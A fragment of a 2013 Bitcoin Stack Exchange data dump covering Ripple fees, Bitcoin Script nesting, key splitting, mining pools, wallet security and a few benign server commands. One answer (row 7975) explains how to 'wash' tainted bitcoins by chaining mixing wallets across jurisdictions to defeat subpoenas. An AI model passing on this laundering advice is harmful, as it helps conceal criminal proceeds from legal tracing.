Tags="|bitcoind|testnet|ubuntu|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7975" PostTypeId="2" ParentId="7966" CreationDate="2013-02-26T21:27:59.380" Score="10" Body="&lt;p&gt;The other answers are correct, in that a mixed wallet can be used to hide tainted coins. However they miss an important point: the operator of the wallet service &lt;strong&gt;does&lt;/strong&gt; have the knowledge required to trace the outbound transaction back to the original input coins, because both flows have to be associated with the wallet's internal representation of a customer account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good wallet services will refuse give out this information, but they are still vulnerable to being forced to reveal it, e.g. by a legal subpoena or hacking. Therefore somebody who is really serious about washing his bitcoins will need to route transactions through a series of wallets operated in different jurisdictions, on the theory that it would be impossible to subpoena or hack &lt;em&gt;every&lt;/em&gt; wallet in the chain.&lt;/p&gt;&#xA;" OwnerUserId="334" LastActivityDate="2013-02-26T21:27:59.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7976" PostTypeId="1" AcceptedAnswerId="7979" CreationDate="2013-02-26T21:35:17.683" Score="4" ViewCount="255" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinmagazine.com/introducing-ripple/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This article&lt;/a&gt; mentions two fees:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;200 XRP for creating an account&lt;/li&gt;&#xA;&lt;li&gt;50 XRP for creating a credit line&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is the credit line fee one time or per credit line? Are there any other fees in Ripple? Is there a place that summarizes all the different fees, both inherent in the protocol and determined by gateways/users? &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7590/does-ripple-ever-charge-proportional-transaction-fees&quot;&gt;This answer&lt;/a&gt; is rather comprehensive, but it doesn't mention fees for credit lines nor the number '50', so it isn't be complete.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-04-01T08:36:51.833" Title="What are all the different fees used in Ripple?" Tags="|ripple|ripple-transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7977" PostTypeId="1" AcceptedAnswerId="7978" CreationDate="2013-02-26T21:40:47.827" Score="6" ViewCount="719" Body="&lt;p&gt;In bitcoin, you can create a script like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_1 OP_IF OP_RETURN OP_ENDIF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But could you place another if statement inside the first?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_1 OP_IF OP_1 OP_IF OP_RETURN OP_ENDIF OP_ENDIF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I grant that this is a bit of a silly example (given that the whole thing could be replaced with &lt;code&gt;OP_RETURN&lt;/code&gt;) but is that a valid script?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-02-26T21:40:47.827" Title="In Bitcoin scripting, can you have an IF within an IF?" Tags="|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7978" PostTypeId="2" ParentId="7977" CreationDate="2013-02-26T21:40:47.827" Score="5" Body="&lt;p&gt;Firstly, I'd like to note that you could change your script to &lt;code&gt;OP_1 OP_1 OP_BOOLAND OP_IF OP_RETURN OP_ENDIF&lt;/code&gt; and it would be the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm reading the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/script.cpp#L407&quot; rel=&quot;noreferrer&quot;&gt;bitcoin source code&lt;/a&gt;, and I can't see a check for nested OP_IF's. These are the IF related checks I've found:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No IF/NOTIF without a value on the stack&lt;/li&gt;&#xA;&lt;li&gt;No ELSE/ENDIF without an IF/NOTIF&lt;/li&gt;&#xA;&lt;li&gt;No IF/NOTIF without an ENDIF&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So it would let you nest IF's. In fact, it appears that allowing people to nest IF's is intended. Take this variable, which is used to figure out whether a branch of an IF is executing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vector&amp;lt;bool&amp;gt; vfExec;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If they didn't want nested IF's, they could have made that a single &lt;code&gt;bool&lt;/code&gt; variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Amusing fact that I figured out while researching this: The script &lt;code&gt;OP_1 OP_IF OP_ELSE OP_ELSE OP_ENDIF&lt;/code&gt; is entirely valid.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-02-26T21:40:47.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7979" PostTypeId="2" ParentId="7976" CreationDate="2013-02-26T21:45:18.800" Score="5" Body="&lt;p&gt;The answer you cited discusses the fees that can be charged on fiat currencies by gateways, when exchanging currencies, and when using other users to swap IOUs. The XRP fees are imposed by the network itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction fee is the only fee that is destroyed. Currently, it is 10 drops per transaction under normal load conditions. (A drop is a millionth of a Ripple.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fees you mentioned are actually reserves. Reserves are amounts of XRP you must hold to maintain an entry in the ledger. The reserve is returned when the entry is removed, however, there is no way to remove an account. The reserve is not destroyed, it stays in the account. You can use your reserve to pay transaction fees. You just can't create a new entry if you don't have the reserve to cover it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, the only entries that require a 50 XRP reserve are credit lines and offers. It is expected that future entries, such as contracts, will also require a reserve. A credit line only counts towards your reserve under some circumstances. Other people can't extend credit to you and increase your reserve.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-02-27T23:48:56.557" LastActivityDate="2013-02-27T23:48:56.557" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7980" PostTypeId="2" ParentId="7973" CreationDate="2013-02-26T22:12:49.317" Score="4" Body="&lt;p&gt;It is good to consider the security of a system in which you are relying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The HTML and Javascript served is not obfuscated so the code is easily verified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While there have been no formal security audits, at least not that I'm aware of, there  are many people with strong skills in cryptography, programming, math and security that have looked at the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The method used to generate an address draws from other open source tools (e.g., Crypto-JS) as well as a subset of Bouncy Castle for the ECSDA ported to Javascript.  In other words, BitAddress isn't doing anything that hasn't already been implemented elsewhere, it just implements them in Javascript.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-02-26T22:12:49.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7981" PostTypeId="2" ParentId="7970" CreationDate="2013-02-26T22:39:15.723" Score="0" Body="&lt;p&gt;There's no nLockTime support currently so there's not way to limit the spend prior to the 18th birthday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as far as giving the Oracle access to spend the funds without knowing the transaction, that can be done with key splitting.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/vbuterin/btckeysplit&quot; rel=&quot;nofollow&quot;&gt;https://github.com/vbuterin/btckeysplit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-02-26T22:39:15.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7982" PostTypeId="2" ParentId="4172" CreationDate="2013-02-27T02:04:37.563" Score="1" Body="&lt;p&gt;Yes, bitcoin won't be immune to inflation at M2 level, just like Chinese RMB, its M0 is only 5.5 trillion, but its M2 is 97.5 trillion. If only BitCoin-denominated bonds issued by bitcoin       banking facilities.&lt;/p&gt;&#xA;" OwnerUserId="1429" LastActivityDate="2013-02-27T02:04:37.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7985" PostTypeId="2" ParentId="3670" CreationDate="2013-02-27T04:51:16.957" Score="1" Body="&lt;p&gt;For others that might be encountering a similar problem, here are some other issues that I ran into:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) IP ports not being opened:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/sbin/iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) Make sure that your cloud instance security settings allow for TCP connections on the appropriate ports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) If you have ssl enabled in the server, make sure that you created an ssl certificate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Enabling_SSL_on_original_client_daemon&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Enabling_SSL_on_original_client_daemon&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Make sure to kill processes as others have described:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ps -A | grep bitcoind&#xA;kill [PID]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3008" LastActivityDate="2013-02-27T04:51:16.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7986" PostTypeId="1" CreationDate="2013-02-27T06:26:12.350" Score="2" ViewCount="216" Body="&lt;p&gt;I can use the Ripple Live Network graph to see the balances of any given wallet on Ripple, but in order to know whether to trust someone (even a close friend), I might want to know how much trust they have extended to others. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, for example, somebody has a current balance of 30 USD but they have extended trust worth 150 USD, I might not want to trust that person since at any moment they might have sent out IOUs for far more value than they actually possess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is it or will it be possible to see how much trust somebody has extended to others in their network? (Or have I misunderstood something here?)&lt;/p&gt;&#xA;" OwnerUserId="3080" LastActivityDate="2013-02-27T07:57:23.547" Title="Is it possible to see how much trust a certain wallet/user has extended in Ripple?" Tags="|ripple|trust|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7988" PostTypeId="2" ParentId="7986" CreationDate="2013-02-27T07:57:23.547" Score="1" Body="&lt;p&gt;My understanding of trust in ripple is that it is public - Finding the web of trust that links two people needs to be fast, and it also needs to work when the intermediaries aren't connected to the ripple network. However, while you might know that account rWIOWNDKALJOWIOWDKLj trusts rWOIASIOISDKLFJALSKF for 100 dollars, you don't necessarily know their name/location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another important point is that you don't have 'Balance' in Ripple, you have somebody who owes you money. So just knowing that this hypothetical person is owed 30 dollars doesn't mean much - they could be deadbeats, or a bunch of accounts operated by the same person. (If you had a list of trusted IOU issuers, you could mitigate this.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in your example, they might not be overextended; they could have 300 dollars in their mattress, and be entirely capable of paying off IOU's.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-02-27T07:57:23.547" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7989" PostTypeId="1" AcceptedAnswerId="8001" CreationDate="2013-02-27T13:09:34.797" Score="2" ViewCount="706" Body="&lt;p&gt;For example, I want to travel from Country A to Country B.&#xA;If i exchange money from Currency A to Currency B, i will have to pay conversion fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to convert my money from Currency A to bitcoins, and then go to country B and convert bitcoins to Currency B?&lt;/p&gt;&#xA;" OwnerUserId="3095" LastEditorUserId="51948" LastEditDate="2017-12-24T03:19:17.307" LastActivityDate="2017-12-24T03:19:17.307" Title="Avoiding currency conversion markup" Tags="|buy-bitcoins|exchange-rate|sell-bitcoins|exchange-fees|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7990" PostTypeId="1" AcceptedAnswerId="7999" CreationDate="2013-02-27T13:18:35.733" Score="3" ViewCount="145" Body="&lt;p&gt;Is it possible for a sinister entity to peek into the p2p network of bitcoin and manipulate it in such a way so as to compromise a certain transaction?&lt;/p&gt;&#xA;" OwnerUserId="3095" LastActivityDate="2013-02-27T21:51:59.900" Title="Risk of a certain machines being compromized" Tags="|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7991" PostTypeId="2" ParentId="7990" CreationDate="2013-02-27T13:44:26.120" Score="5" Body="&lt;p&gt;No. However a machine with that person's bitcoins on it can be compromized and their bitcoins can be stolen.&lt;/p&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2013-02-27T13:44:26.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7992" PostTypeId="2" ParentId="7989" CreationDate="2013-02-27T13:46:33.517" Score="2" Body="&lt;p&gt;If you can buy using &lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/&lt;/a&gt; in both places then you can just buy some bitcoins locally before you leave and sell them locally when to get to where you are going.&lt;/p&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2013-02-27T13:46:33.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7993" PostTypeId="1" CreationDate="2013-02-27T14:31:24.577" Score="1" ViewCount="1468" Body="&lt;p&gt;I want to use several different wallets (as if one wallet = one account), and want to make sure the spending and receiving activities are exclusive to one wallet at a time.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I interface with multiple wallets?  (through a program or script)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I access multiple wallets at the same time?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2013-02-27T15:08:59.887" LastActivityDate="2013-03-15T15:34:18.957" Title="How can I programmatically use several different (isolated) wallets?" Tags="|wallet|bitcoind|json-rpc|wallet.dat|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7994" PostTypeId="1" CreationDate="2013-02-27T14:40:41.837" Score="6" ViewCount="1173" Body="&lt;p&gt;Here is some &lt;a href=&quot;https://github.com/vbuterin/btckeysplit&quot; rel=&quot;nofollow&quot;&gt;github code to create split keys.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is Key Splitting the same as Multi Sig?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What are the benefits of Key Splitting, what's it used for? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How does it relate to P2SH or any other relevant BIP?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How are split keys used in a transaction?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="2306" LastEditDate="2014-12-13T06:00:31.653" LastActivityDate="2014-12-13T06:00:31.653" Title="What is &quot;Key Splitting&quot;? When would I use it?" Tags="|bitcoin-core|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7995" PostTypeId="2" ParentId="7994" CreationDate="2013-02-27T16:56:35.337" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;No.&lt;/strong&gt; Multisignature transactions involve multiple keys/signatures, whereas this involves splitting up one key.&lt;/li&gt;&#xA;&lt;li&gt;As far as I know, it's not used at all in production. There are a whole host of issues.&lt;/li&gt;&#xA;&lt;li&gt;P2SH was created to make multisignature transactions easier to implement for e-wallet providers and merchants, and to move the burden of multisignature transactions from the sender to the reciever.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Like so:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Generate a key&lt;/li&gt;&#xA;&lt;li&gt;Split the key up, store the pieces in different places&lt;/li&gt;&#xA;&lt;li&gt;Put the key back together&lt;/li&gt;&#xA;&lt;li&gt;Sign transactions&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The major problem with split-key transactions is that you need a trusted third party. When they generate the key, they could secretly store it. When they put the key back together, they could secretly sign a transaction that stole all of your bitcoins. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-02-27T16:56:35.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7996" PostTypeId="2" ParentId="7989" CreationDate="2013-02-27T18:05:32.513" Score="1" Body="&lt;p&gt;Yes, you just need a bank who accepts Currency B, and an exchange who don't mind to send any currency, such as &lt;a href=&quot;https://www.bitstamp.net&quot; rel=&quot;nofollow&quot;&gt;Bitstamp&lt;/a&gt;: they apparently convert anything to and from dollars.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-02-27T18:05:32.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7997" PostTypeId="2" ParentId="7886" CreationDate="2013-02-27T20:32:00.563" Score="2" Body="&lt;p&gt;I fixed the problem myself.  During a system sleep or perhaps a hang and hard reset (graceless shutdown) the block index got corrupted.  Best-practices for Bitcoin-qt, at least on a Mac, are probably to quit out of the app before putting the system to sleep.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix the problem, I trashed the entire directory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;~/Library/Application Support/Bitcoing/chainstate/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then relaunched the client. It re-indexed all the existing blocks (took about 2 hours,) but did not have to re-download the entire blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After allowing it to fully re-sync and catch up all blocks, I was able to do transactions normally. 48 hours later the client is still running stably and normally. (Including quitting &amp;amp; re-starting the client.)&lt;/p&gt;&#xA;" OwnerUserId="2960" LastActivityDate="2013-02-27T20:32:00.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7998" PostTypeId="1" CreationDate="2013-02-27T21:39:19.353" Score="8" ViewCount="4335" Body="&lt;p&gt;I have a ripple client set up, but I can't do anything useful such as viewing the order book etc.  Since the site is in beta, BTC and other currencies are not supported... only ripples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I know I need to give people my address of &lt;code&gt;rPZhwqx7kQdssJD6i3cnEpd9kQ1Tofzjkx&lt;/code&gt; to get ripples, but I don't know who to contact or how to get started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The teaser website and hype around the Ripple technology hasn't gotten me to pour over every detail of the Ripple wiki, so please forgive me if I missed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I get started?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-01-03T10:34:32.323" Title="I created a ripple account ... what next? (how do I start?)" Tags="|ripple|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7999" PostTypeId="2" ParentId="7990" CreationDate="2013-02-27T21:51:59.900" Score="3" Body="&lt;p&gt;What you are asking is, does Bitcoin have a vulnerability where if a computer system is compromised can the attacker steal money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin network is a decentralized, peer-to-peer network.  There is no &quot;master node&quot; that controls a ledger.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, there is no central place to compromise.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a person is using the Bitcoin.org client (e.g., Bitcoin-Qt) on a local computer, that transaction is cryptographically signed and broadcast to peers.  There's nothing a compromised peer can do with that transaction other than relay it or not relay it.  It is a signed transaction and only the party being paid has any control over spending funds from that point on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for the Bitcoin network itself, a compromise of &quot;certain peers&quot;, or other nodes -- even those mining, does not make it possibly for funds to be stolen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now there are third-party services that offer hosted (shared) EWallets.  Mt. Gox is one.  Coinbase is another.  Instawallet, EasyWallet, and bitZino are examples of others.   Now if those services are compromised then that's when you are exposed to risk of loss.  And most every loss that has occurred was the result of inadquate security practices at third parties.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That doesn't mean you have no risk of loss.  If &lt;strong&gt;your own computer&lt;/strong&gt; is compromised you could be at risk of losing &lt;strong&gt;your&lt;/strong&gt; bitcoins.  The Bitcoin.org client does have &quot;passphrase encryption&quot; to protect the private keys in your wallet but certain malware can see the keystrokes you type in and with access to the wallet data file can perform a replay attack to spend your funds in your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are varying levels of secure methods for holding and using bitcoins.  Which approach will work best for you depends on your technical skills, the amount you are planning to hold, and a few other factors.  Some people use paper wallets, created offline, for storing larger amounts, and then use a mobile wallet (e.g., Blockchain for Android) for &quot;walking around money&quot;.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-02-27T21:51:59.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8000" PostTypeId="1" AcceptedAnswerId="11443" CreationDate="2013-02-27T22:03:28.330" Score="5" ViewCount="1285" Body="&lt;ul&gt;&#xA;&lt;li&gt;Is &lt;a href=&quot;http://www.skrill.com&quot;&gt;Skrill&lt;/a&gt; tolerant of Bitcoin trade using its system? &lt;/li&gt;&#xA;&lt;li&gt;Does it have any kind of history of reversing transactions or suspending accounts involved in Bitcoin trading?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-06-03T21:02:41.507" Title="What is Skrill's policy on its use in BTC trading?" Tags="|exchanges|trading|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8001" PostTypeId="2" ParentId="7989" CreationDate="2013-02-27T22:07:21.637" Score="1" Body="&lt;p&gt;You still have conversion fees but you might have a lower conversion fee when using Bitcoin as the medium between the two currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason you pay high fees when you are using currency conversion when traveling is that currency exchange can be an expensive service to provide.  Your hotel taking your foreign currency must then get those funds converted back to their local currency -- something that is not cheap to do.  Or a Travelex pays expensive rents in airports or other retail locations near lots of travelers and pays staff so their fees are high as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin makes it so that only the local (domestic) currency would be used on both ends.  Before leaving on a trip you perform a domestic transaction to convert your local currency to bitcoins, and then on arrival at your destination you can convert bitcoins to the local currency there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem is there are not yet many local traders who perform this service.  &lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;LocalBitcoins&lt;/a&gt; is growing quickly and it is getting easier to do a trade (and at a lesser price premium) however when you arrive at your destination you probably aren't wanting to spend your time trying to figure out how to cash out your bitcoins for local currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a chicken and egg problem.  When there are a lot more people with that need, there will be more and more people offering that service.   When there are more and more people offering that service, there will be more people willing to rely on that as an alternative to cash conversion at hotels or through services like Travelex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you line up a trade in advance, it can be just as convenient as any other method of doing foreign currency exchange.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="30727" LastEditDate="2015-11-27T20:23:13.267" LastActivityDate="2015-11-27T20:23:13.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8002" PostTypeId="2" ParentId="7998" CreationDate="2013-02-27T23:31:23.383" Score="1" Body="&lt;p&gt;To see an active Bitstamp BTC IOUs vs. XRP market do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advanced -&gt; Trade -&gt; change issuer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter rvYAfWj5gh67oV6fW32ZzP3Aw4Eubs59B which should then fill in BTC Bitstamp.net&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on &quot;Order Book&quot; to see BTC/XRP offers.&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2013-02-27T23:31:23.383" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8004" PostTypeId="1" CreationDate="2013-02-27T23:43:21.260" Score="4" ViewCount="935" Body="&lt;p&gt;What are the scenarios (value-add businesses) that would get users to edit the default ripple client and use a custom&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Web Socket IP: Port&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Blob vault URL&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Why even make this a configuration option?  What is the envisioned benefits?  Is this related to a &quot;gateway&quot;?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="153" LastEditDate="2013-02-28T00:25:17.547" LastActivityDate="2013-02-28T00:25:17.547" Title="When would I change my Ripple client's Web Socket IP and Blob vault URL?" Tags="|ripple|ripple-client|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8005" PostTypeId="1" AcceptedAnswerId="8007" CreationDate="2013-02-27T23:51:37.077" Score="5" ViewCount="2553" Body="&lt;p&gt;Is it possible to mine on different mining pool using one client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, I know that this sounds ridiculous, but my thoughts are as follows: if I already calculated a lot of hashes for a work for one mining pool may be I will be able to use them for another mining pool. Has anyone thought of it?&lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="5406" LastEditDate="2016-03-16T08:37:28.287" LastActivityDate="2016-03-16T08:37:28.287" Title="mining with one client on multiple mining pool" Tags="|mining-pools|mining-pool-shares|mining-technical-details|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8006" PostTypeId="2" ParentId="8004" CreationDate="2013-02-27T23:53:45.397" Score="4" Body="&lt;p&gt;The blob vault URL lets you choose who you trust to hold your wallet. While the wallet is encrypted, the organization that holds your wallet could attempt to brute force your password with the only limits being their computational resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The selection of web socket IP and port allows you to choose what Ripple server you want to connect to. The plan is to eventually let you have multiple servers saved in your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These choices have to do with how your client connects to the Ripple network and finds out your account information and annotations. It is not related to a choice of gateways, what IOUs you wish to hold, and so on.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-02-27T23:53:45.397" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8007" PostTypeId="2" ParentId="8005" CreationDate="2013-02-28T00:05:12.160" Score="6" Body="&lt;p&gt;The hashes generated by your miner is only usable for a unique set of transactions that your pool decided to include.  In addition each pool orders transactions differently and that too will affect the resulting hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless the pools cooperate and synchronize all the details of a given block (nonce, merkle tree, etc)  then any hash that is generated is useless to any other pool.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-02-28T00:05:12.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8008" PostTypeId="1" AcceptedAnswerId="8014" CreationDate="2013-02-28T00:07:11.287" Score="2" ViewCount="321" Body="&lt;p&gt;I understand that the GetWork JSON API is used to get a block that needs to be hashed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also understand there are many pool payout methods (PPS, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regard to mining clients and the pool server, what protections are there to prevent software from pretending to mine  (calling the pool equivalent of GetWork()) and getting a larger share than is otherwise required?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-02-28T01:44:21.643" Title="How are pools protected from a client &quot;pretending&quot; to mine?" Tags="|mining-pools|getwork|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8009" PostTypeId="5" CreationDate="2013-02-28T00:22:43.290" Score="0" Body="&lt;p&gt;Wallet.dat files are files created by software derived from the original Satoshi client, including Bitcoin Core. The wallet file is specifically a Berkeley DB database file. It stores private keys, transactions, and other data required to spend Bitcoin. Wallet.dat files can store private keys in an encrypted form to protect users' money even if the file is stolen.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="48884" LastEditDate="2017-10-20T23:55:10.150" LastActivityDate="2017-10-20T23:55:10.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8010" PostTypeId="4" CreationDate="2013-02-28T00:22:43.290" Score="0" Body="A file named wallet.dat is used by Bitcoin Core which stores private keys and other information necessary to backup and recover a wallet." OwnerUserId="1878" LastEditorUserId="121614" LastEditDate="2023-12-24T15:10:35.393" LastActivityDate="2023-12-24T15:10:35.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
